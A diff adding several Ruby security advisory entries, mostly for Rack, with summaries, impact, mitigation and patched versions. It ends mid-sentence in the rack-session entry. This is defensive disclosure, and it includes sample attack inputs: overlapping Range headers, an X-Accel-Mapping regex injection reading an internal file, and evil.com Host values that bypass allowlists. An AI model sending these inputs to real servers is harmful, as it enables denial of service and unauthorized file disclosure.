diff --git a/advisories/_posts/2026-04-02-CVE-2026-34826.md b/advisories/_posts/2026-04-02-CVE-2026-34826.md
new file mode 100644
index 00000000..3b8ea270
--- /dev/null
+++ b/advisories/_posts/2026-04-02-CVE-2026-34826.md
@@ -0,0 +1,86 @@
+---
+layout: advisory
+title: 'CVE-2026-34826 (rack): Rack''s multipart byte range processing allows denial
+ of service via excessive overlapping ranges'
+comments: false
+categories:
+- rack
+advisory:
+ gem: rack
+ cve: 2026-34826
+ ghsa: x8cg-fq8g-mxfx
+ url: https://github.com/rack/rack/security/advisories/GHSA-x8cg-fq8g-mxfx
+ title: Rack's multipart byte range processing allows denial of service via excessive
+ overlapping ranges
+ date: 2026-04-02
+ description: |-
+ ## Summary
+
+ `Rack::Utils.get_byte_ranges` parses the HTTP `Range` header without
+ limiting the number of individual byte ranges. Although the existing
+ fix for CVE-2024-26141 rejects ranges whose total byte coverage
+ exceeds the file size, it does not restrict the count of ranges.
+ An attacker can supply many small overlapping ranges such as
+ `0-0,0-0,0-0,...` to trigger disproportionate CPU, memory, I/O,
+ and bandwidth consumption per request.
+
+ This results in a denial of service condition in Rack file-serving
+ paths that process multipart byte range responses.
+
+ ## Details
+
+ `Rack::Utils.get_byte_ranges` accepts a comma-separated list of byte
+ ranges and validates them based on their aggregate size, but does
+ not impose a limit on how many individual ranges may be supplied.
+
+ As a result, a request such as:
+
+ ```http
+ Range: bytes=0-0,0-0,0-0,0-0,...
+ ```
+
+ can contain thousands of overlapping one-byte ranges while still
+ satisfying the total-size check added for CVE-2024-26141.
+
+ When such a header is processed by Rack’s file-serving code, each
+ range causes additional work, including multipart response generation,
+ per-range iteration, file seek and read operations, and temporary
+ string allocation for response size calculation and output. This
+ allows a relatively small request header to trigger disproportionately
+ expensive processing and a much larger multipart response.
+
+ The issue is distinct from CVE-2024-26141. That fix prevents range
+ sets whose total byte coverage exceeds the file size, but does not
+ prevent a large number of overlapping ranges whose summed size
+ remains within that limit.
+
+ ## Impact
+
+ Applications that expose file-serving paths with byte range support
+ may be vulnerable to denial of service.
+
+ An unauthenticated attacker can send crafted `Range` headers containing
+ many small overlapping ranges to consume excessive CPU time, memory,
+ file I/O, and bandwidth. Repeated requests may reduce application
+ availability and increase pressure on workers and garbage collection.
+
+ ## Mitigation
+
+ * Update to a patched version of Rack that limits the number
+ of accepted byte ranges.
+ * Reject or normalize multipart byte range requests containing
+ excessive range counts.
+ * Consider disabling multipart range support where it is not required.
+ * Apply request filtering or header restrictions at the reverse
+ proxy or application boundary to limit abusive `Range` headers.
+ cvss_v3: 5.3
+ patched_versions:
+ - "~> 2.2.23"
+ - "~> 3.1.21"
+ - ">= 3.2.6"
+ related:
+ url:
+ - https://nvd.nist.gov/vuln/detail/CVE-2026-34826
+ - https://github.com/rack/rack/security/advisories/GHSA-x8cg-fq8g-mxfx
+ - https://github.com/advisories/GHSA-x8cg-fq8g-mxfx
+---
diff --git a/advisories/_posts/2026-04-02-CVE-2026-34827.md b/advisories/_posts/2026-04-02-CVE-2026-34827.md
new file mode 100644
index 00000000..518ee69f
--- /dev/null
+++ b/advisories/_posts/2026-04-02-CVE-2026-34827.md
@@ -0,0 +1,81 @@
+---
+layout: advisory
+title: 'CVE-2026-34827 (rack): Rack''s multipart header parsing allows Denial of Service
+ via escape-heavy quoted parameters'
+comments: false
+categories:
+- rack
+advisory:
+ gem: rack
+ cve: 2026-34827
+ ghsa: v6x5-cg8r-vv6x
+ url: https://github.com/rack/rack/security/advisories/GHSA-v6x5-cg8r-vv6x
+ title: Rack's multipart header parsing allows Denial of Service via escape-heavy
+ quoted parameters
+ date: 2026-04-02
+ description: |-
+ ## Summary
+
+ `Rack::Multipart::Parser#handle_mime_head` parses quoted multipart
+ parameters such as `Content-Disposition: form-data; name="..."`
+ using repeated `String#index` searches combined with `String#slice!`
+ prefix deletion. For escape-heavy quoted values, this causes
+ super-linear processing.
+
+ An unauthenticated attacker can send a crafted `multipart/form-data`
+ request containing many parts with long backslash-escaped parameter
+ values to trigger excessive CPU usage during multipart parsing.
+
+ This results in a denial of service condition in Rack applications
+ that accept multipart form data.
+
+ ## Details
+
+ `Rack::Multipart::Parser#handle_mime_head` parses quoted parameter
+ values by repeatedly:
+
+ 1. Searching for the next quote or backslash,
+ 2. Copying the preceding substring into a new buffer, and
+ 3. Removing the processed prefix from the original string with `slice!`.
+
+ An attacker can exploit this by sending a multipart request with many
+ parts whose `name` parameters contain long escape-heavy values such as:
+
+ ```text
+ name="a\\a\\a\\a\\a\\..."
+ ```
+
+ Under default Rack limits, a request can contain up to 4095 parts. If
+ many of those parts use long quoted values with dense escape characters,
+ the parser performs disproportionately expensive CPU work while
+ remaining within normal request size and part-count limits.
+
+ ## Impact
+
+ Any Rack application that accepts `multipart/form-data` requests may be
+ affected, including file upload endpoints and standard HTML form handlers.
+
+ An unauthenticated attacker can send crafted multipart requests that
+ consume excessive CPU time during request parsing. Repeated requests
+ can tie up application workers, reduce throughput, and degrade or
+ deny service availability.
+
+ ## Mitigation
+
+ * Update to a patched version of Rack that parses quoted multipart
+ parameters without repeated rescanning and destructive prefix deletion.
+ * Apply request throttling or rate limiting to multipart upload endpoints.
+ * Where operationally feasible, restrict or isolate multipart parsing
+ on untrusted high-volume endpoints.
+ cvss_v3: 7.5
+ unaffected_versions:
+ - "< 3.0.0.beta1"
+ patched_versions:
+ - "~> 3.1.21"
+ - ">= 3.2.6"
+ related:
+ url:
+ - https://nvd.nist.gov/vuln/detail/CVE-2026-34827
+ - https://github.com/rack/rack/security/advisories/GHSA-v6x5-cg8r-vv6x
+ - https://github.com/advisories/GHSA-v6x5-cg8r-vv6x
+---
diff --git a/advisories/_posts/2026-04-02-CVE-2026-34829.md b/advisories/_posts/2026-04-02-CVE-2026-34829.md
new file mode 100644
index 00000000..a5312f1f
--- /dev/null
+++ b/advisories/_posts/2026-04-02-CVE-2026-34829.md
@@ -0,0 +1,89 @@
+---
+layout: advisory
+title: 'CVE-2026-34829 (rack): Rack''s multipart parsing without Content-Length header
+ allows unbounded chunked file uploads'
+comments: false
+categories:
+- rack
+advisory:
+ gem: rack
+ cve: 2026-34829
+ ghsa: 8vqr-qjwx-82mw
+ url: https://github.com/rack/rack/security/advisories/GHSA-8vqr-qjwx-82mw
+ title: Rack's multipart parsing without Content-Length header allows unbounded chunked
+ file uploads
+ date: 2026-04-02
+ description: |-
+ ## Summary
+
+ `Rack::Multipart::Parser` only wraps the request body in a `BoundedIO`
+ when `CONTENT_LENGTH` is present. When a `multipart/form-data` request
+ is sent without a `Content-Length` header, such as with HTTP chunked
+ transfer encoding, multipart parsing continues until end-of-stream
+ with no total size limit.
+
+ For file parts, the uploaded body is written directly to a temporary
+ file on disk rather than being constrained by the buffered in-memory
+ upload limit. An unauthenticated attacker can therefore stream an
+ arbitrarily large multipart file upload and consume unbounded disk space.
+
+ This results in a denial of service condition for Rack applications
+ that accept multipart form data.
+
+ ## Details
+
+ `Rack::Multipart::Parser.parse` applies `BoundedIO` only when
+ `content_length` is not `nil`:
+
+ ```ruby
+ io = BoundedIO.new(io, content_length) if content_length
+ ```
+
+ When `CONTENT_LENGTH` is absent, the parser reads the multipart body
+ until EOF without a global byte limit.
+
+ Although Rack enforces `BUFFERED_UPLOAD_BYTESIZE_LIMIT` for retained
+ non-file parts, file uploads are handled differently. When a multipart
+ part includes a filename, the body is streamed to a `Tempfile`, and
+ the retained-size accounting is not applied to that file content.
+ As a result, file parts are not subject to the same upload size bound.
+
+ An attacker can exploit this by sending a chunked `multipart/form-data`
+ request containing a file part and continuously streaming data without
+ declaring a `Content-Length`. Rack will continue writing the uploaded
+ data to disk until the client stops or the server exhausts available storage.
+
+ ## Impact
+
+ Any Rack application that accepts `multipart/form-data` uploads may be
+ affected if no upstream component enforces a request body size limit.
+
+ An unauthenticated attacker can send a large chunked file upload to
+ consume disk space on the application host. This may cause request
+ failures, application instability, or broader service disruption if
+ the host runs out of available storage.
+
+ The practical impact depends on deployment architecture. Reverse proxies
+ or application servers that enforce upload limits may reduce or eliminate
+ exploitability, but Rack itself does not impose a total multipart
+ upload limit in this code path when `CONTENT_LENGTH` is absent.
+
+ ## Mitigation
+
+ * Update to a patched version of Rack that enforces a total multipart
+ upload size limit even when `CONTENT_LENGTH` is absent.
+ * Enforce request body size limits at the reverse proxy or
+ application server.
+ * Isolate temporary upload storage and monitor disk consumption
+ for multipart endpoints.
+ cvss_v3: 7.5
+ patched_versions:
+ - "~> 2.2.23"
+ - "~> 3.1.21"
+ - ">= 3.2.6"
+ related:
+ url:
+ - https://nvd.nist.gov/vuln/detail/CVE-2026-34829
+ - https://github.com/rack/rack/security/advisories/GHSA-8vqr-qjwx-82mw
+ - https://github.com/advisories/GHSA-8vqr-qjwx-82mw
+---
diff --git a/advisories/_posts/2026-04-02-CVE-2026-34830.md b/advisories/_posts/2026-04-02-CVE-2026-34830.md
new file mode 100644
index 00000000..ec441b82
--- /dev/null
+++ b/advisories/_posts/2026-04-02-CVE-2026-34830.md
@@ -0,0 +1,107 @@
+---
+layout: advisory
+title: 'CVE-2026-34830 (rack): Rack::Sendfile header-based X-Accel-Mapping regex injection
+ enables unauthorized X-Accel-Redirect'
+comments: false
+categories:
+- rack
+advisory:
+ gem: rack
+ cve: 2026-34830
+ ghsa: qv7j-4883-hwh7
+ url: https://github.com/rack/rack/security/advisories/GHSA-qv7j-4883-hwh7
+ title: Rack::Sendfile header-based X-Accel-Mapping regex injection enables unauthorized
+ X-Accel-Redirect
+ date: 2026-04-02
+ description: |-
+ ## Summary
+
+ `Rack::Sendfile#map_accel_path` interpolates the value of the
+ `X-Accel-Mapping` request header directly into a regular expression
+ when rewriting file paths for `X-Accel-Redirect`. Because the header
+ value is not escaped, an attacker who can supply `X-Accel-Mapping`
+ to the backend can inject regex metacharacters and control the
+ generated `X-Accel-Redirect` response header.
+
+ In deployments using `Rack::Sendfile` with `x-accel-redirect`, this
+ can allow an attacker to cause nginx to serve unintended files
+ from configured internal locations.
+
+ ## Details
+
+ `Rack::Sendfile#map_accel_path` processes header-supplied mappings
+ using logic equivalent to:
+
+ ```ruby
+ mapping.split(',').map(&:strip).each do |m|
+ internal, external = m.split('=', 2).map(&:strip)
+ new_path = path.sub(/\A#{internal}/i, external)
+ return new_path unless path == new_path
+ end
+ ```
+
+ Here, `internal` comes from the `HTTP_X_ACCEL_MAPPING` request header
+ and is inserted directly into a regular expression without escaping.
+ This gives the header value regex semantics rather than treating
+ it as a literal prefix.
+
+ As a result, an attacker can supply metacharacters such as `.*`
+ or capture groups to alter how the path substitution is performed.
+ For example, a mapping such as:
+
+ ```http
+ X-Accel-Mapping: .*=/protected/secret.txt
+ ```
+
+ causes the entire source path to match and rewrites the redirect
+ target to a clean attacker-chosen internal path.
+
+ This differs from the documented behavior of the header-based
+ mapping path, which is described as a simple substitution. While
+ application-supplied mappings may intentionally support regular
+ expressions, header-supplied mappings should be treated as
+ literal path prefixes.
+
+ The issue is only exploitable when untrusted `X-Accel-Mapping`
+ headers can reach Rack. One realistic case is a reverse proxy
+ configuration that intends to set `X-Accel-Mapping` itself, but
+ fails to do so on some routes, allowing a client-supplied header
+ to pass through unchanged.
+
+ ## Impact
+
+ Applications using `Rack::Sendfile` with `x-accel-redirect` may
+ be affected if the backend accepts attacker-controlled
+ `X-Accel-Mapping` headers.
+
+ In affected deployments, an attacker may be able to control the
+ `X-Accel-Redirect` response header and cause nginx to serve files
+ from internal locations that were not intended to be reachable
+ through the application. This can lead to unauthorized file disclosure.
+
+ The practical impact depends on deployment architecture. If the
+ proxy always strips or overwrites `X-Accel-Mapping`, or if the
+ application uses explicit configured mappings instead of the
+ request header, exploitability may be eliminated.
+
+ ## Mitigation
+
+ * Update to a patched version of Rack that treats header-supplied
+ `X-Accel-Mapping` values as literal strings rather than regular expressions.
+ * Strip or overwrite inbound `X-Accel-Mapping` headers at the
+ reverse proxy so client-supplied values never reach Rack.
+ * Prefer explicit application-configured sendfile mappings
+ instead of relying on request-header mappings.
+ * Review proxy sub-locations and inherited header settings to
+ ensure `X-Accel-Mapping` is consistently set on all backend routes.
+ cvss_v3: 5.9
+ patched_versions:
+ - "~> 2.2.23"
+ - "~> 3.1.21"
+ - ">= 3.2.6"
+ related:
+ url:
+ - https://nvd.nist.gov/vuln/detail/CVE-2026-34830
+ - https://github.com/rack/rack/security/advisories/GHSA-qv7j-4883-hwh7
+ - https://github.com/advisories/GHSA-qv7j-4883-hwh7
+---
diff --git a/advisories/_posts/2026-04-02-CVE-2026-34831.md b/advisories/_posts/2026-04-02-CVE-2026-34831.md
new file mode 100644
index 00000000..34bbe449
--- /dev/null
+++ b/advisories/_posts/2026-04-02-CVE-2026-34831.md
@@ -0,0 +1,102 @@
+---
+layout: advisory
+title: 'CVE-2026-34831 (rack): Rack has Content-Length mismatch in Rack::Files error
+ responses'
+comments: false
+categories:
+- rack
+advisory:
+ gem: rack
+ cve: 2026-34831
+ ghsa: q2ww-5357-x388
+ url: https://github.com/rack/rack/security/advisories/GHSA-q2ww-5357-x388
+ title: Rack has Content-Length mismatch in Rack::Files error responses
+ date: 2026-04-02
+ description: |-
+ ## Summary
+
+ `Rack::Files#fail` sets the `Content-Length` response header using
+ `String#size` instead of `String#bytesize`. When the response body
+ contains multibyte UTF-8 characters, the declared `Content-Length`
+ is smaller than the number of bytes actually sent on the wire.
+
+ Because `Rack::Files` reflects the requested path in 404 responses,
+ an attacker can trigger this mismatch by requesting a non-existent
+ path containing percent-encoded UTF-8 characters.
+
+ This results in incorrect HTTP response framing and may cause
+ response desynchronization in deployments that rely on the
+ incorrect `Content-Length` value.
+
+ ## Details
+
+ `Rack::Files#fail` constructs error responses using logic equivalent to:
+
+ ```ruby
+ def fail(status, body, headers = {})
+ body += "
+ "
+ [
+ status,
+ {
+ "content-type" => "text/plain",
+ "content-length" => body.size.to_s,
+ "x-cascade" => "pass"
+ }.merge!(headers),
+ [body]
+ ]
+ end
+ ```
+
+ Here, `body.size` returns the number of characters, not the number
+ of bytes. For multibyte UTF-8 strings, this produces an incorrect
+ `Content-Length` value.
+
+ `Rack::Files` includes the decoded request path in 404 responses.
+ A request containing percent-encoded UTF-8 path components therefore
+ causes the response body to contain multibyte characters, while
+ the `Content-Length` header still reflects character count rather
+ than byte count.
+
+ As a result, the server can send more bytes than declared in
+ the response headers.
+
+ This violates HTTP message framing requirements, which define
+ `Content-Length` as the number of octets in the message body.
+
+ ## Impact
+
+ Applications using `Rack::Files` may emit incorrectly framed error
+ responses when handling requests for non-existent paths containing
+ multibyte characters.
+
+ In some deployment topologies, particularly with keep-alive connections
+ and intermediaries that rely on `Content-Length`, this mismatch
+ may lead to response parsing inconsistencies or response
+ desynchronization. The practical exploitability depends on the
+ behavior of downstream proxies, clients, and connection reuse.
+
+ Even where no secondary exploitation is possible, the response is
+ malformed and may trigger protocol errors in strict components.
+
+ ## Mitigation
+
+ * Update to a patched version of Rack that computes `Content-Length`
+ using `String#bytesize`.
+ * Avoid exposing `Rack::Files` directly to untrusted traffic until
+ a fix is available, if operationally feasible.
+ * Where possible, place Rack behind a proxy or server that normalizes
+ or rejects malformed backend responses.
+ * Prefer closing backend connections on error paths if response
+ framing anomalies are a concern.
+ cvss_v3: 4.8
+ patched_versions:
+ - "~> 2.2.23"
+ - "~> 3.1.21"
+ - ">= 3.2.6"
+ related:
+ url:
+ - https://nvd.nist.gov/vuln/detail/CVE-2026-34831
+ - https://github.com/rack/rack/security/advisories/GHSA-q2ww-5357-x388
+ - https://github.com/advisories/GHSA-q2ww-5357-x388
+---
diff --git a/advisories/_posts/2026-04-02-CVE-2026-34835.md b/advisories/_posts/2026-04-02-CVE-2026-34835.md
new file mode 100644
index 00000000..995630e3
--- /dev/null
+++ b/advisories/_posts/2026-04-02-CVE-2026-34835.md
@@ -0,0 +1,130 @@
+---
+layout: advisory
+title: 'CVE-2026-34835 (rack): Rack::Request accepts invalid Host characters, enabling
+ host allowlist bypass'
+comments: false
+categories:
+- rack
+advisory:
+ gem: rack
+ cve: 2026-34835
+ ghsa: g2pf-xv49-m2h5
+ url: https://github.com/rack/rack/security/advisories/GHSA-g2pf-xv49-m2h5
+ title: Rack::Request accepts invalid Host characters, enabling host allowlist bypass
+ date: 2026-04-02
+ description: |-
+ ## Summary
+
+ `Rack::Request` parses the `Host` header using an `AUTHORITY` regular
+ expression that accepts characters not permitted in RFC-compliant
+ hostnames, including `/`, `?`, `#`, and `@`. Because `req.host`
+ returns the full parsed value, applications that validate hosts
+ using naive prefix or suffix checks can be bypassed.
+
+ For example, a check such as `req.host.start_with?("myapp.com")` can
+ be bypassed with `Host: myapp.com@evil.com`, and a check such as
+ `req.host.end_with?("myapp.com")` can be bypassed with
+ `Host: evil.com/myapp.com`.
+
+ This can lead to host header poisoning in applications that use
+ `req.host`, `req.url`, or `req.base_url` for link generation,
+ redirects, or origin validation.
+
+ ## Details
+
+ `Rack::Request` parses the authority component using logic equivalent to:
+
+ ```ruby
+ AUTHORITY = /
+ \A
+ (?
+ \[(?#{ipv6})\]
+ |
+ (?[[[:graph:]&&[^\[\]]]]*?)
+ )
+ (:(?\d+))?
+ \z
+ /x
+ ```
+
+ The character class used for non-IPv6 hosts accepts nearly all
+ printable characters except `[` and `]`. This includes reserved
+ URI delimiters such as `@`, `/`, `?`, and `#`, which are not
+ valid hostname characters under RFC 3986 host syntax.
+
+ As a result, values such as the following are accepted and returned
+ through `req.host`:
+
+ ```text
+ myapp.com@evil.com
+ evil.com/myapp.com
+ evil.com#myapp.com
+ ```
+
+ Applications that attempt to allowlist hosts using string prefix or
+ suffix checks may therefore treat attacker-controlled hosts as
+ trusted. For example:
+
+ ```ruby
+ req.host.start_with?("myapp.com")
+ ```
+
+ accepts:
+
+ ```text
+ myapp.com@evil.com
+ ```
+
+ and:
+
+ ```ruby
+ req.host.end_with?("myapp.com")
+ ```
+
+ accepts:
+
+ ```text
+ evil.com/myapp.com
+ ```
+
+ When those values are later used to build absolute URLs or enforce
+ origin restrictions, the application may produce attacker-controlled
+ results.
+
+ ## Impact
+
+ Applications that rely on `req.host`, `req.url`, or `req.base_url`
+ may be affected if they perform naive host validation or assume
+ Rack only returns RFC-valid hostnames.
+
+ In affected deployments, an attacker may be able to bypass host
+ allowlists and poison generated links, redirects, or origin-dependent
+ security decisions. This can enable attacks such as password reset
+ link poisoning or other host header injection issues.
+
+ The practical impact depends on application behavior. If the
+ application or reverse proxy already enforces strict host validation,
+ exploitability may be reduced or eliminated.
+
+ ## Mitigation
+
+ * Update to a patched version of Rack that rejects invalid
+ authority characters in `Host`.
+ * Enforce strict `Host` header validation at the reverse proxy
+ or load balancer.
+ * Do not rely on prefix or suffix string checks such as
+ `start_with?` or `end_with?` for host allowlisting.
+ * Use exact host allowlists, or exact subdomain boundary checks,
+ after validating that the host is syntactically valid.
+ cvss_v3: 4.8
+ unaffected_versions:
+ - "< 3.0.0.beta1"
+ patched_versions:
+ - "~> 3.1.21"
+ - ">= 3.2.6"
+ related:
+ url:
+ - https://nvd.nist.gov/vuln/detail/CVE-2026-34835
+ - https://github.com/rack/rack/security/advisories/GHSA-g2pf-xv49-m2h5
+ - https://github.com/advisories/GHSA-g2pf-xv49-m2h5
+---
diff --git a/advisories/_posts/2026-04-06-CVE-2026-35201.md b/advisories/_posts/2026-04-06-CVE-2026-35201.md
new file mode 100644
index 00000000..5be9bd21
--- /dev/null
+++ b/advisories/_posts/2026-04-06-CVE-2026-35201.md
@@ -0,0 +1,132 @@
+---
+layout: advisory
+title: 'CVE-2026-35201 (rdiscount): rdiscount has an Out-of-bounds Read'
+comments: false
+categories:
+- rdiscount
+advisory:
+ gem: rdiscount
+ cve: 2026-35201
+ ghsa: 6r34-94wq-jhrc
+ url: https://github.com/davidfstr/rdiscount/security/advisories/GHSA-6r34-94wq-jhrc
+ title: rdiscount has an Out-of-bounds Read
+ date: 2026-04-06
+ description: |-
+ ### Summary
+
+ A signed length truncation bug causes an out-of-bounds read in the
+ default Markdown parse path. Inputs larger than `INT_MAX` are truncated
+ to a signed `int` before entering the native parser, allowing the
+ parser to read past the end of the supplied buffer and crash the process.
+
+ ### Details
+
+ In both public entry points:
+
+ - `ext/rdiscount.c:97`
+ - `ext/rdiscount.c:136`
+
+ `RSTRING_LEN(text)` is passed directly into `mkd_string()`:
+
+ ```c
+ MMIOT *doc = mkd_string(RSTRING_PTR(text),
+ RSTRING_LEN(text), flags);
+ ```
+
+ `mkd_string()` accepts `int len`:
+
+ - `ext/mkdio.c:174`
+
+ ```c
+ Document
+ * mkd_string(const char *buf, int len, mkd_flag_t flags)
+ {
+ struct string_stream about;
+
+ about.data = buf;
+ about.size = len;
+
+ return populate((getc_func)__mkd_io_strget, &about, flags & INPUT_MASK);
+ }
+ ```
+
+ The parser stores the remaining input length in a signed `int`:
+
+ - `ext/markdown.h:205`
+
+ ```c
+ struct string_stream {
+ const
+ char *data;
+ int size;
+ };
+ ```
+
+ The read loop stops only when `size == 0`:
+
+ - `ext/mkdio.c:161`
+
+ ```c
+ int __mkd_io_strget(struct string_stream *in)
+ {
+ if ( !in->size ) return EOF;
+
+ --(in->size);
+
+ return *(in->data)++;
+ }
+ ```
+
+ If the Ruby string length exceeds `INT_MAX`, the value can truncate
+ to a negative `int`. In that state, the parser continues incrementing
+ `data` and reading past the end of the original Ruby string, causing
+ an out-of-bounds read and native crash.
+
+ Affected APIs:
+
+ - `RDiscount.new(input).to_html`
+ - `RDiscount.new(input).toc_content`
+
+ ### Impact
+
+ This is an out-of-bounds read with the main issue being reliable
+ denial-of-service. Impacted is limited to deployments parses
+ attacker-controlled Markdown and permits multi-GB inputs.
+
+ ### Fix
+
+ just add a checked length guard before the `mkd_string()`
+ call in both public entry points:
+
+ - `ext/rdiscount.c:97`
+ - `ext/rdiscount.c:136`
+ ex:
+
+ ```c
+ VALUE text = rb_funcall(self, rb_intern(\"text\"), 0);
+ long text_len = RSTRING_LEN(text);
+ VALUE buf = rb_str_buf_new(1024);
+ Check_Type(text, T_STRING);
+
+ if (text_len > INT_MAX) {
+ rb_raise(rb_eArgError, \"markdown input too large\");
+ }
+
+ MMIOT *doc = mkd_string(RSTRING_PTR(text), (int)text_len, flags);
+ ```
+
+ The same guard should be applied in `rb_rdiscount_toc_content()`
+ before its `mkd_string()` call.
+ cvss_v3: 5.9
+ unaffected_versions:
+ - "< 1.3.1.1"
+ patched_versions:
+ - ">= 2.2.7.4"
+ related:
+ url:
+ - https://nvd.nist.gov/vuln/detail/CVE-2026-35201
+ - https://github.com/davidfstr/rdiscount/security/advisories/GHSA-6r34-94wq-jhrc
+ - http://github.com/davidfstr/rdiscount/releases/tag/2.2.7.4
+ - https://github.com/davidfstr/rdiscount/commit/b1a16445e92e0d12c07594dedcdc56f80b317761
+ - https://github.com/advisories/GHSA-6r34-94wq-jhrc
+---
diff --git a/advisories/_posts/2026-04-08-CVE-2026-35611.md b/advisories/_posts/2026-04-08-CVE-2026-35611.md
new file mode 100644
index 00000000..5216fc60
--- /dev/null
+++ b/advisories/_posts/2026-04-08-CVE-2026-35611.md
@@ -0,0 +1,113 @@
+---
+layout: advisory
+title: 'CVE-2026-35611 (addressable): Addressable has a Regular Expression Denial
+ of Service in Addressable templates'
+comments: false
+categories:
+- addressable
+advisory:
+ gem: addressable
+ cve: 2026-35611
+ ghsa: h27x-rffw-24p4
+ url: https://github.com/sporkmonger/addressable/security/advisories/GHSA-h27x-rffw-24p4
+ title: Addressable has a Regular Expression Denial of Service in Addressable templates
+ date: 2026-04-08
+ description: |-
+ ### Impact
+
+ Within the URI template implementation in Addressable, two classes
+ of URI template generate regular expressions vulnerable to
+ catastrophic backtracking:
+
+ 1. Templates using the `*` (explode) modifier with any expansion
+ operator (e.g., `{foo*}`, `{+var*}`, `{#var*}`, `{/var*}`,
+ `{.var*}`, `{;var*}`, `{?var*}`, `{&var*}`) generate patterns
+ with nested unbounded quantifiers that are O(2^n) when matched
+ against a maliciously crafted URI.
+
+ 2. Templates using multiple variables with the `+` or `#` operators
+ (e.g., `{+v1,v2,v3}`) generate patterns with O(n^k) complexity
+ due to the comma separator being within the matched character
+ class, causing ambiguous backtracking across k variables.
+
+ When matched against a maliciously crafted URI, this can result
+ in catastrophic backtracking and uncontrolled resource consumption,
+ leading to denial of service. The first pattern was partially
+ addressed in 2.8.10 for certain operator combinations. Both patterns
+ are fully remediated in 2.9.0.
+
+ Users of the URI parsing capabilities in Addressable but not
+ the URI template matching capabilities are unaffected.
+
+ ### Affected Versions
+
+ This vulnerability affects Addressable >= 2.3.0 (note: 2.3.0 and
+ 2.3.1 were yanked; the earliest installable release is 2.3.2).
+ It was partially fixed in version 2.8.10 and fully remediated in 2.9.0.
+
+ The vulnerability is more exploitable on MRI Ruby < 3.2 and on all
+ versions of JRuby and TruffleRuby. MRI Ruby 3.2 and later ship with
+ Onigmo 6.9, which introduces memoization that prevents catastrophic
+ backtracking for the first class of template. JRuby and TruffleRuby
+ do not implement equivalent memoization and remain vulnerable
+ to all patterns.
+
+ This has been confirmed on the following runtimes:
+
+ | Runtime | Status |
+ |--------------|--------|
+ | MRI Ruby 2.6 | Vulnerable |
+ | MRI Ruby 2.7 | Vulnerable |
+ | MRI Ruby 3.0 | Vulnerable |
+ | MRI Ruby 3.1 | Vulnerable |
+ | MRI Ruby 3.2 | Partially vulnerable |
+ | MRI Ruby 3.3 | Partially vulnerable |
+ | MRI Ruby 3.4 | Partially vulnerable |
+ | MRI Ruby 4.0 | Partially vulnerable |
+ | JRuby 10.0 | Vulnerable |
+ | TruffleRuby 21.2 | Vulnerable |
+
+ ### Workarounds
+
+ - **Upgrade to MRI Ruby 3.2 or later**, if your application does
+ not use JRuby or TruffleRuby. The Onigmo memoization introduced
+ in MRI Ruby 3.2 prevents catastrophic backtracking from nested
+ unbounded quantifiers (pattern 1 above — templates using the `*`
+ modifier). It does not reliably mitigate the O(n^k) multi-variable
+ case (pattern 2), so upgrading Ruby alone may not be sufficient
+ if your templates use `{+v1,v2,...}` or `{#v1,v2,...}` syntax.
+
+ - **Avoid using vulnerable template patterns** when matching
+ user-supplied input on unpatched versions of the library:
+
+ - Templates using the `*` (explode) modifier: `{foo*}`, `{+var*}`,
+ `{#var*}`, `{.var*}`, `{/var*}`, `{;var*}`, `{?var*}`, `{&var*}`
+
+ - Templates using multiple variables with the `+` or `#`
+ operators: `{+v1,v2}`, `{#v1,v2,v3}`, etc.
+
+ - **Apply a short timeout** around any call to `Template#match`
+ or `Template#extract` that processes user-supplied data.
+
+ ### Credits
+
+ Discovered in collaboration with @jamfish.
+
+ ### For more information
+
+ If you have any questions or comments about this advisory:
+ * [Open an issue](https://github.com/sporkmonger/addressable/issues)
+ cvss_v3: 7.5
+ unaffected_versions:
+ - "< 2.3.0"
+ patched_versions:
+ - ">= 2.9.0"
+ related:
+ url:
+ - https://nvd.nist.gov/vuln/detail/CVE-2026-35611
+ - https://github.com/sporkmonger/addressable/security/advisories/GHSA-h27x-rffw-24p4
+ - https://owasp.org/www-community/attacks/Regular_expression_Denial_of_Service_-_ReDoS
+ - https://cwe.mitre.org/data/definitions/1333.html
+ - https://www.regular-expressions.info/catastrophic.html
+ - https://github.com/advisories/GHSA-h27x-rffw-24p4
+---
diff --git a/advisories/_posts/2026-04-08-CVE-2026-39324.md b/advisories/_posts/2026-04-08-CVE-2026-39324.md
new file mode 100644
index 00000000..ea734d7a
--- /dev/null
+++ b/advisories/_posts/2026-04-08-CVE-2026-39324.md
@@ -0,0 +1,83 @@
+---
+layout: advisory
+title: 'CVE-2026-39324 (rack-session): Rack::Session::Cookie secrets: decrypt failure
+ fallback enables secretless session forgery and Marshal deserialization'
+comments: false
+categories:
+- rack-session
+advisory:
+ gem: rack-session
+ cve: 2026-39324
+ ghsa: 33qg-7wpp-89cq
+ url: https://github.com/rack/rack-session/security/advisories/GHSA-33qg-7wpp-89cq
+ title: 'Rack::Session::Cookie secrets: decrypt failure fallback enables secretless
+ session forgery and Marshal deserialization'
+ date: 2026-04-08
+ description: |-
+ 'Rack::Session::Cookie incorrectly handles decryption failures when
+ configured with `secrets:`. If cookie decryption fails, the
+ implementation falls back to a default decoder instead of rejecting
+ the cookie. This allows an unauthenticated attacker to supply a
+ crafted session cookie that is accepted as valid session data
+ without knowledge of any configured secret.
+
+ Because this mechanism is used to load session state, an attacker
+ can manipulate session contents and potentially gain unauthorized access.
+
+ ## Details
+
+ When `secrets:` is configured, `Rack::Session::Cookie` attempts to
+ decrypt incoming session cookies using one of the configured encryptors.
+ If all decrypt attempts fail, the implementation does not reject
+ the cookie. Instead, it falls back to decoding the cookie using
+ a default coder.
+
+ This fallback path processes attacker-controlled cookie data as
+ trusted session state. The behavior is implicit and occurs even
+ when encrypted cookies are expected.
+
+ The fallback decoder is applied automatically and does not require
+ the application to opt into a non-encrypted session format. As a
+ result, a client can send a specially crafted cookie value that
+ bypasses the intended integrity protections provided by `secrets:`.
+
+ This issue affects both default configurations and those using
+ alternative serializers for encrypted payloads.
+
+ ## Impact
+
+ Any Rack application using `Rack::Session::Cookie` with
+ `secrets:` may be affected.
+
+ > [!NOTE]
+ > Rails applications are typically not affected — Rails uses
+ > `ActionDispatch::Session::CookieStore`, which is a separate
+ > implementation backed by `ActiveSupport::MessageEncryptor`
+ > and does not share the vulnerable code path.
+
+ An unauthenticated attacker can supply a crafted session cookie
+ that is accepted as valid session data. This can lead to authentication
+ bypass or privilege escalation in applications that rely on session
+ values for identity or authorization decisions.
+
+ Depending on application behavior and available runtime components,
+ processing of untrusted session data may also expose additional risks.
+
+ ## Mitigation
+
+ * Update to a patched version of `rack-session` that rejects cookies
+ when decryption fails under the `secrets:` configuration.
+ * After updating, rotate session secrets to invalidate existing
